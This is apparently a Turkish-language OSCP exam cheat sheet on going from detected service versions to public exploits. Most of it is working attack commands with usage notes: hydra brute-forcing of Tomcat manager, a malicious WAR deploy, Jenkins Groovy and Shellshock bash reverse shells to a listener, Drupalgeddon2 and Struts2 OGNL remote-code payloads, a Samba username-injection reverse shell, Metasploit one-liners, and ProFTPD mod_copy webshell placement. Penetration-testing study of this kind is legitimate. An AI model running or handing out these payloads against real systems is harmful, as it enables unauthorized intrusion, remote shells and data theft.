Servis Exploit & Varsayılan Kimlik Bilgisi İş Akışı
Versiyon tespitinden public exploit'e giden klasik OSCP servis istismarı iş akışı: searchsploit ile eşleştirme, Tomcat manager WAR deploy, Jenkins script console, Shellshock (CVE-2014-6271), Drupalgeddon2, Apache Struts2 OGNL, Samba usermap_script ve ProFTPD mod_copy. Tespit + manuel exploit pointer'ları, Metasploit gerektiren yerlerde restricted.
- Hedef üzerinde nmap -sV ile servis versiyonlarının çıkarılmış olması
- LHOST/LPORT için erişilebilir bir dinleyici (nc/msfconsole)
- Web servislerinde panel/endpoint enumerasyonunun yapılmış olması
Komutlar
searchsploit apache 2.4.49 searchsploit -x linux/remote/50383.txt searchsploit -m windows/remote/42315.py nmap -p- -sV --version-all -oN nmap-full-{{RHOST}}.txt {{RHOST}} hydra -L users.txt -P {{WORDLIST}} -f {{RHOST}} -s {{RPORT}} http-get /manager/html msfvenom -p java/jsp_shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f war -o shell.war curl -u {{USER}}:{{PASS}} -T shell.war "{{URL}}/manager/text/deploy?path=/shell" curl -u {{USER}}:{{PASS}} "{{URL}}/manager/text/undeploy?path=/shell" println new ProcessBuilder('bash','-c','bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1').redirectErrorStream(true).start().text curl -k -u {{USER}}:{{PASS}} "{{URL}}/script" --data-urlencode "script=def p='id'.execute();println(p.text)" nmap -p {{RPORT}} --script http-shellshock --script-args uri=/cgi-bin/status,cmd=id {{RHOST}} curl -H "User-Agent: () { :;}; echo; echo; /bin/bash -c 'id'" {{URL}}/cgi-bin/status curl -H "User-Agent: () { :;}; /bin/bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'" {{URL}}/cgi-bin/status curl -s '{{URL}}/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id' --data 'form_id=user_pass&_triggering_element_name=name' curl -s '{{URL}}/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id' curl -i '{{URL}}/' -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#proc=#p.start()).(#out=@org.apache.commons.io.IOUtils@toString(#proc.getInputStream())).(#resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')).(#resp.getWriter().println(#out))}" smbmap -H {{RHOST}} -u anonymous smbclient //{{RHOST}}/share -U "./=`nohup bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'`" msfconsole -q -x "use exploit/multi/samba/usermap_script; set RHOSTS {{RHOSTS}}; set LHOST {{LHOST}}; set LPORT {{LPORT}}; run" msfconsole -q -x "use exploit/unix/ftp/proftpd_modcopy_exec; set RHOSTS {{RHOSTS}}; set SITEPATH /var/www/html; set LHOST {{LHOST}}; run" nc {{RHOST}} {{RPORT}}
SITE CPFR /etc/passwd
SITE CPTO /tmp/passwd.copy curl "{{URL}}/shell.php?cmd=id" Genel Mantık
Bir servisin versiyonunu bildiğinde, OSCP iş akışının kalbi şudur: versiyon → public exploit → manuel doğrulama → RCE. nmap -sV çıktısındaki her satır (servis adı + sürüm) searchsploit için bir sorgudur. Asla körlemesine exploit çalıştırma; searchsploit -x ile metni oku, ne yaptığını anla, gerekirse searchsploit -m ile kopyalayıp LHOST/LPORT ve hedef path değerlerini düzenle.
Önce default-cred dene. Yönetim panelleri (Tomcat manager, Jenkins, Drupal admin) çoğu zaman zayıf/varsayılan kimlik bilgileriyle gelir. Exploit yazmadan önce tomcat:tomcat, admin:admin, tomcat:s3cret gibi kombinasyonlar ve hydra ile küçük bir liste denenmeli.
Tomcat Manager → WAR Deploy
/manager/html veya /host-manager/html paneline geçerli kimlik bilgisiyle erişildiğinde, bir JSP reverse shell WAR paketi deploy edilerek RCE alınır:
- Önce manager kimlik bilgilerini bul (default-cred listesi,
tomcat-users.xmlLFI ile sızmış olabilir). msfvenomilejava/jsp_shell_reverse_tcpWAR üret (msfvenom tek başına sınav-güvenli).text/deployAPI’sinecurl -Tile yükle, sonra{{URL}}/shell/ziyaret ederek tetikle.- İş bitince
text/undeployile temizle.
Gotcha: Tomcat 7+ sürümlerde manager ile host-manager ayrıdır ve manager-script rolü gerekir. 401 alıyorsan kullanıcının manager-gui değil manager-script rolüne ihtiyacı olabilir.
Jenkins Script Console
Kimlik doğrulamasız ya da varsayılan kimlikli Jenkins’te /script Groovy konsolu doğrudan RCE verir. Jenkins servisi sık sık SYSTEM/root ya da geniş yetkili bir hesapla koştuğu için tek adımda yüksek yetki gelebilir. CSRF koruması (crumb) açıksa önce /crumbIssuer/api/json ile crumb alıp header olarak ekle. Önce id ile komut çalıştığını doğrula, sonra Groovy reverse shell’e geç.
Shellshock (CVE-2014-6271)
Eski Bash + CGI kombinasyonunda ortam değişkenlerine fonksiyon tanımı enjekte edilerek RCE alınır. Adımlar:
/cgi-bin/altında çalıştırılabilir script ara (status,test.cgi,.sh).nmap --script http-shellshockile zafiyeti tara.() { :;};payload’ını User-Agent, Cookie veya Referer header’ına koy — hangisinin ortam değişkenine geçtiği sunucuya göre değişir, hepsini dene.
Drupalgeddon2 (CVE-2018-7600)
Drupal 7 ve 8’de Form API render array injection ile kimlik doğrulamasız RCE. Versiyonu CHANGELOG.txt veya /core/CHANGELOG.txt’den doğrula. Endpoint Drupal 7 ile 8 arasında farklıdır (user/password vs user/register); ikisini de dene. passthru/exec callback’iyle önce id çalıştır, sonra reverse shell komutuna geç.
Apache Struts2 (CVE-2017-5638)
Java uygulamalarında (genelde .action/.do uzantıları) Content-Type header’ı üzerinden OGNL ifade injection ile RCE. Payload içindeki #cmd değişkenini değiştirerek istediğin komutu çalıştırırsın; çıktı HTTP response’ta döner. Reverse shell için #cmd’yi bash -c '...' bash one-liner’ı ile değiştir.
Samba usermap_script (CVE-2007-2447)
Samba 3.0.20 – 3.0.25rc3 aralığında, username map script yapılandırması aktifken kullanıcı adı alanına shell metakarakterleri enjekte edilerek root komut çalıştırma. smbclient ile kullanıcı adına `komut` enjekte ederek manuel olarak sömürülür (sınav-güvenli). Metasploit modülü de mevcuttur ama otomatik exploit olduğundan restricted; sınavda manuel smbclient yöntemini tercih et.
ProFTPD mod_copy (CVE-2015-3306)
ProFTPD 1.3.5’te mod_copy, kimlik doğrulamasız SITE CPFR/SITE CPTO komutlarına izin verir. İstismar:
- Önce
ncile bağlanıpSITE CPFR /etc/passwd+SITE CPTO /tmp/xçalışıyor mu doğrula. - Bir PHP webshell’i (örn.
/tmpüzerinden ya da doğrudan FTP’ye yazılabilir bir yerden) web köküneCPTO /var/www/html/shell.phpile kopyala. {{URL}}/shell.php?cmd=idile tetikle.
Web kök yolunu (SITEPATH) bilmen gerekir — /var/www/html, /var/www, ya da Apache config’inden tespit et. Metasploit modülü tek adımda yapar ama restricted; manuel CPFR/CPTO + webshell yolu sınav-güvenlidir.
Notlar ve Tuzaklar
- Her zaman önce
id/whoamiile RCE’yi doğrula, sonra reverse shell’e geç — payload’ın çalışıp çalışmadığını bilmeden shell beklemek zaman kaybı. - Reverse shell almadan önce LHOST/LPORT’ta
nc -lvnp {{LPORT}}dinleyicisi açık olmalı. - Metasploit modülleri (
usermap_script,proftpd_modcopy_exec) hızlıdır ama OSCP’de modül başına bir kısıt vardır; mümkün olan her yerde manuelcurl/smbclient/ncyöntemini kullan. - Web tabanlı RCE sonrası shell upgrade ve dosya transferi için ilgili tekniklere geç.